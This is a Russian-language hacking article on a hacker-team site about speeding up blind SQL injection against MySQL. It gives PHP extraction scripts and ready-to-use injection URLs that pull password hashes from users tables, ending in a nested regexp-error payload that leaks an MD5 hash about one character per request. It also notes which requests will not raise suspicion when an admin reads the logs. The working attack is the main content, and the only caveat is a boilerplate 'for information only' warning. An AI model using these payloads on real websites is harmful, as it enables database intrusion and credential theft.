| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 3.15.182.100
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 php libc rand() эксплоит Windows Server 2008 FreeBSD Jail Elastix QIP Virtual chroot Limit kernel proc sysctl Tune freeBSD bridge Boot LiveCD Disk Bluetooth GEO game DirectX emulator Python Shell червь Conficker вирус троян лаборатория касперского пиратство Apple iPhone Microsoft twitter социальная сеть анонимность лицензия Open Source уязвимость MySQL база данных Закон Франция Пират Skype мобильный Deutsche Telekom хакер trend micro кибератака Германия робот Персональные данные Ноутбук Интернет китай цензура windows vista acer Linux патент браузер Firefox Internet Explorer Opera Safari Intel Oracle патч Банкомат IBM США Dell Ford MAC контроль Internet кибербезопасность приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 взлом Пентагон Украина Facebook Cisco Cloud Windows XP нетбук торрент музыка Биометрический Nokia Hardware Manager ФБР IP-адрес sms RSA java Google Captcha Symantec Спам Антивирус тест Anti-Malware Windows 7 операционная система windows провайдер авторское право rapidshare UNIX свиной грипп шантаж Дети ipod копирайт McAfee HTTPS icann студент Норвегия New York Times YouTube Warner Music КНДР Ubuntu AMD ATI касперский Россия РФ сервер хостинг Wi-Fi суд пароль блог фишинг одноклассники Медведев контрафакт мошенник sony Gps по JavaScript Хакеры Yahoo фас компьютер софт Минкомсвязи Сбой мошенничество Доктор ВЕб Вконтакте ie8 исходный код МВД фильтр порнография свобода слова казахстан Autodesk сисадмин Gmail кредитная карта LiveJournal шифрование Deep Purple банк HTML5 Нанотехнологии wikipedia выборы DNS bind KaZaA Android Basic атака Mac OS X домен ФСБ прокуратура уголовное дело ICQ Sophos Google Voice ошибка DARPA военные сайт турция конференция спамер Полиция Koobface Великобритания IRC белоруссия Грузия Bittorrent Европа Dr.WEB Linux Mint Билл Гейтс спецслужбы Royal Bank of Scotland смартфон Canonical F-Secure Symbian фильм Microsoft Office Новая Зеландия Adobe Австралия IDC Internet Explorer 9 iPad Ирландия поиск GOOGLE EARTH МТС Реклама слежка Mandriva BSD Zeus личные данные eset avast Avira G Data Software защита Defcon виртуализация dll LibreOffice Черный список BlackBerry индия Москва DVD социальные сети flash player paypal BitDefender email сертификат honda MasterCard Anonymous технологии IPv6 Ассанж Оптоволокно передача данных арест Fedora Samsung Иск Apache учетная запись iTunes исследование Cert Санкт-Петербург McDonald's SOPA PIPA Bioshock Infinite: Burial at Sea - ico Megaupload CES hotfile отчет приложение Инвестиции платформа DRM DDoS-атака роскомнадзор

Главная » Статьи » Общие Статьи

Слепая быстрота: новейшие методы Blind SQL Injection

Каждый раз, натыкаясь на слепую SQL-инъекцию, ты представляешь себе долгие минуты ожидания получения результатов из базы. Все знают, что процесс работы ускорить невозможно. Да неужели? Прочитав эту статью, ты заставишь свои инъекции отрабатывать по максимуму и станешь реальным SQL-гуру.

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов, которое необходимо послать на сервер для получения символов из БД.

А соответственно - долгое время работы скрипта и большое количество записей в логах. Вручную получать данные из БД практически нереально, поэтому процесс работы с такими инъекциями нужно автоматизировать. Сейчас мы рассмотрим некоторые варианты подобной автоматизации.

Полный перебор

Это самый простой, самый тупой и самый медленный способ получения символов из базы данных. Для получения обычного MD5-хеша может потребоваться отправить до 512 запросов на сервер, а для получения логина - еще больше. Именно этот метод новички применяют в своих первых эксплойтах. Реализация указанного способа выглядит приблизительно так:

for($i=1;$i<=32;$i++)
for($j=1;$j<=255;$j++){
$res = send(
$url,
"sql.php?id=if(ascii(substring((select+passhash+from+users+where+id=0),$i,1))=$j,(select+1+union+select+2),'1')"
);
if(!preg_match('/Subquery returns/', $res) {
echo $j;
continue;
}
}

Принцип работы прост - для каждого символа сравниваем значение его ASCII-кода со всеми возможными значениями символов. Если выполняется некоторое условие, то символ найден, и его можно выводить на экран. Если условие не выполняется - ищем дальше.

Очевидно, что плюсов у этого метода нет. Совсем. За исключением того, что накалякать код такого скрипта очень просто. Но разве это то, что нужно настоящему хакеру? Оставим этот способ киддисам и будем двигаться дальше.

Бинарный (двоичный) поиск

Каждый уважающий себя программист знает о методе под названием бинарный, или двоичный, поиск. Этот метод используется для поиска позиции элемента в отсортированном массиве. И именно он применяется почти во всех адекватных скриптах, программах и эксплойтах, работающих со слепыми SQL-инъекциями.

  1. Берем диапазон всех возможных символов (для хеша MD5 - [0-9,a-f]) и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
  2. Если код символа в БД больше, чем код переданного символа, то на следующем шаге в качестве диапазона возможных символов берем диапазон от символа, с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона и идем на шаг 1.
  3. Если код символа меньше, то берем диапазон от текущего символа до левой границы диапазона на предыдущем шаге и идем на шаг 1.
  4. Если символ не больше и не меньше, то мы как раз его и нашли.

А если рассматривать реализацию на языке программирования, то вот пример функции, реализующей поиск нужного символа этим методом:

function getChar($url, $field, $pos, $lb=0, $ub=255)
{
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);

if($lb > $ub)
return -1;
}
}

Рассмотрим этот способ на примере получения из базы MD5-хеша юзера. При этом учтем следующие условия:

  1. Диапазон возможных символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.
  2. В БД находится символ: 'b'.

Запускаем алгоритм:

  1. Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f]; серединой является символ '8'.
  2. Сравниваем, – код символа 'b' больше или меньше, чем код символа '8'? (шлем запрос).
  3. Код больше, поэтому на следующую итерацию уже берем диапазон [8,9,a,b,c,d,e,f]; серединой является символ 'с'.
  4. Сравниваем, – код символа 'b' больше или меньше, чем код символа 'с'? (шлем запрос).
  5. Код меньше, поэтому на следующую итерацию берем диапазон [8,9,a,b,c]; серединой является символ 'a'.
  6. Сравниваем, – код символа 'b' больше, чем код символа 'a'? (шлем запрос).
  7. Код больше, поэтому на следующую итерацию берем диапазон [a,b,c]; серединой является символ 'b'.
  8. Сравниваем, – код символа 'b' больше или меньше, чем код символа 'b'? (шлем запрос).
  9. Код ни больше и не меньше, значит, символ в БД = 'b'

Таким образом, в зависимости от конкретной реализации алгоритма, мы отправляем до 5-6 запросов на определение символа. И это в худшем случае, так как символ может найтись и раньше. Итого получаем примерно 160-170 запросов на получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если можно действовать еще быстрее?

Использование find_in_set() и подобных функций

Функция find_in_set(str,strlist) используется для поиска подстроки среди списка строк, разделенных символом ',' и возвращает номер той строки из списка, которая равна переданному аргументу. То есть:

mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2

Код символа из базы данных можно узнать при помощи запроса:

select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');

В результате мы получаем номер символа во множестве '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f'. К примеру, для символа 'b', этот запрос вернет 12.

А теперь подумаем, что же можно из этого выжать? Для того чтобы принять результаты запроса, мы должны как-то научиться принимать числа, являющиеся результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения новостей, и в зависимости от id, переданного скрипту, будем видеть разные странички? Тогда боевой запрос, нужный для получения символов из MD5, будет выглядеть вот так:

news.php?id=find_in_set(substring((select passhash from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')

Тогда, в зависимости от номера символа в строке '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f', мы будем видеть новость с id, соответствующим символу пароля.

Для удобства использования на практике нужно:

  1. Выделить ключевые слова на страницах с нужными id.
  2. Отправить запросы с find_in_set для каждого символа из БД.
  3. Выяснить, страницу с каким id мы получили и вывести на экран код символа.

То есть, для получения MD5-хеша, нам потребуется выявить 16 страниц с уникальными id, по одной странице для каждого символа алфавита, а также отправить 32 запроса для определения значения каждого символа. В итоге, при использовании этого метода нам потребуется отправить всего 48 запросов на сервер, 16 из которых никакого подозрения читающего логи админа вызвать не могут.

Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо функции find_in_set для реализации подобной атаки можно использовать функции LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за счет того, что они присутствуют не только в MySQL.

Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте идентификаторы новостей могут быть распределены неравномерно, то есть скрипт приходится затачивать под каждый сайт индивидуально. Еще одной проблемой является то, что для большого количества символов в алфавите нужно большое количество уникальных страниц, которые не всегда присутствуют.

В общем, мотаем на ус и двигаемся дальше.

Использование find_in_set() + more1row

Если хорошенько поиграться с методом, предложенным выше, можно заметить, что все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить достаточное количество различных страниц, зависящих от одного параметра. Решим эту проблему. Вспомним метод, предложенный Elekt'ом в ][ #111, который основан на использовании ошибки "Subquery returns more than 1 row".

Суть метода заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от результата SQL-запроса. На данный момент, чтобы спровоцировать БД на вывод ошибки, наиболее часто используется запрос:

SELECT 1 UNION SELECT 2

– который вернет ошибку:

#1242 - Subquery returns more than 1 row

Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на вывод ошибки в зависимости от условия:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

В том случае, если версия MySql не равна 5, этот запрос вернет ошибку:

#1139 - Got error 'invalid repetition count(s)' from regexp

Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок, которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:

SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp

select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Пока просто примем это во внимание. Теперь самое время вспомнить о функции find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер подстроки, если нет - вернет 0. Попробуем привязать результат работы этой функции к различным кодам ошибок и передадим вот такой запрос:

select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)

В результате, если первый символ пароля находится во множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:

#1242 - Subquery returns more than 1 row

А если не находится, то:

#1139 - Got error 'invalid repetition count(s)' from regexp

При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит символ!

Напишем скрипт, использующий данный метод. Для составления оптимального запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к серверу было минимальным. Рассмотрим задачу на примере MD5. Мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что количество групп символов равно двенадцати, ведь всего наш запрос может вернуть одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5 оптимальной расстановкой символов по состояниям, к примеру, будет:

[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'

При каждом запросе к серверу мы узнаем номер группы, в которой находится символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, – мы узнаем значение этого символа с помощью всего одного запроса. Если нам не повезло и символ находится в группе 01, то перед отправкой следующего запроса, рассортируем символы из этой группы по состояниям и сразу же узнаем значение интересующего нас символа:

[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'

Итоговый алгоритм работы по этому методу выглядит несложно:

  1. Оптимально распределить символы алфавита по группам.
  2. Установить соответствия между номером группы и возвращаемым кодом ошибки.
  3. По возвращенному коду ошибки выяснить, в какой группе находится символ из БД.
  4. Если в этой группе только один символ, то выводим его на экран; если больше, чем один символ, то распределим символы из группы по состояниям и возвращаемся к шагу 2.

В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки, которые мы собираемся использовать, обладают парой особенностей.

Первая заключается в том, что запрос

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

вернет нужную нам ошибку, только если мы его будем передавать на сервер именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого if, а также в начале всех остальных выражений regexp нужно добавлять символ "}". Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь ошибку: "#1139 - Got error 'repetition-operator operand invalid' from regexp".

Вторая особенность заключается в том, что запрос

select 1 regexp if(1=1,'',2)

возвращающий ошибку "Got error 'empty (sub)expression' from regexp", работает, как хочется нам только при наличии пустого подзапроса в regexp или так: 'a|', когда после символа '|' отсутствует что бы то ни было. Поэтому, с учетом первой особенности, будем использовать именно этот вид подзапроса.

Теперь попробуем собрать всю известную нам информацию вместе, и для выуживания MD5-хеша получаем итоговый запрос:

sql.php?id=1+AND+"x"+
regexp+concat("x{1,25",+(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\')))
+--+1

В результате, этот запрос не вернет ошибки, если символ из базы данных является одним из символов '0,c,d,e,f', а вернет ошибку "Subquery returns more than 1 row", если в базе данных лежит цифра 1. Также запрос вернет ошибку 'invalid repetition count(s)', если в базе лежит символ '2'. И так далее.

Итак, мы добились того, чего хотели - запрос при помощи 11 различных видов ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем быстродействие, превышающее скорость работы всех остальных методов работы с Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов, а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало того, если найти еще 4 запроса, при которых ошибка будет возникать во время выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать.

Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому на диске с журналом ты найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при любом количестве известных ошибок.

Outro

На самом деле, существуют еще возможности ускорить процесс работы со слепыми SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на "дедовских" методах. Относиться ко всему, что придумали хакеры предыдущих поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на совершенно новый уровень развития технологий взлома.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

WWW

dev.mysql.com/sources/doxygen/mysql-5.1/regerror_8c-source.html - исходники MySQL, отвечающие за отображение ошибок regexp.
dev.mysql.com/doc - документация по MySQL (рекомендую).
ru.wikipedia.org/wiki/Двоичный_поиск - базовые алгоритмы надо знать!

Категория: Общие Статьи | Добавил: aka_kludge (20.10.2009)
Просмотров: 2425 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

14:45
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2025 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика